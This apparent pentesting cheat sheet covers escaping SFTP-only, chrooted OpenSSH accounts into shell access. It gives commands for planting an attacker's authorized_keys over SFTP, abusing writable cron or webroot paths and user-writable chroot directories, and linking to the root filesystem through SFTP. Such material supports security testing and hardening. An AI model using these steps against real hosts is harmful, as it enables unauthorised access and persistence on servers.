Accounts meant only for file transfer are confined two ways in OpenSSH: ForceCommand internal-sftp (or the sftp subsystem) limits them to the SFTP protocol with no shell, and ChrootDirectory locks their filesystem view to a subtree. The goal of an escape is to turn that transfer-only access into command execution on the host. The routes exploit what the confinement does not cover: writable locations inside the chroot that a process outside acts on, SFTP operations that reach beyond the intended area, and chroot misconfigurations.
Routes#
# 1. the account also has shell access despite SFTP intent? test it:
ssh user@<target> id # if a shell returns, there is nothing to escape
# 2. write a key/cron/script the HOST executes with a real shell, via SFTP write:
# - if your chroot home maps to a real user home, upload .ssh/authorized_keys then SSH
sftp user@<target> <<'E'
put authorized_keys .ssh/authorized_keys
E
ssh -i attacker_key user@<target> # now a full session if the key is honoured
# 3. chroot misconfiguration: ChrootDirectory must be root-owned and not writable by
# the user; if the chroot root (or a parent) is user-writable, it can be abused,
# and writable system paths inside the chroot (cron.d, scripts run by root) execute
# 4. SFTP symlink/hardlink tricks to reference files outside the intended subtree
sftp> symlink / escape # then browse "escape" if the server resolves it host-side
Exploitation notes#
- First confirm the confinement is real: many "SFTP-only" accounts actually still grant a shell (
ssh user@host id), in which case there is no escape to perform. - The most reliable escape is indirect: use the SFTP write to drop something the host executes with a real shell, an
authorized_keys(if the chroot home is the actual home), a file in a writablecron.d/script path, or a web file if the chroot overlaps a webroot. - A correctly configured
ChrootDirectoryis owned by root and not writable by the user up the whole path; violations of that (user-writable chroot or parent) are a direct weakness. - Where the account maps to a system user whose home or scheduled jobs you can write, the transfer access converts to execution as that user; chain with the key technique.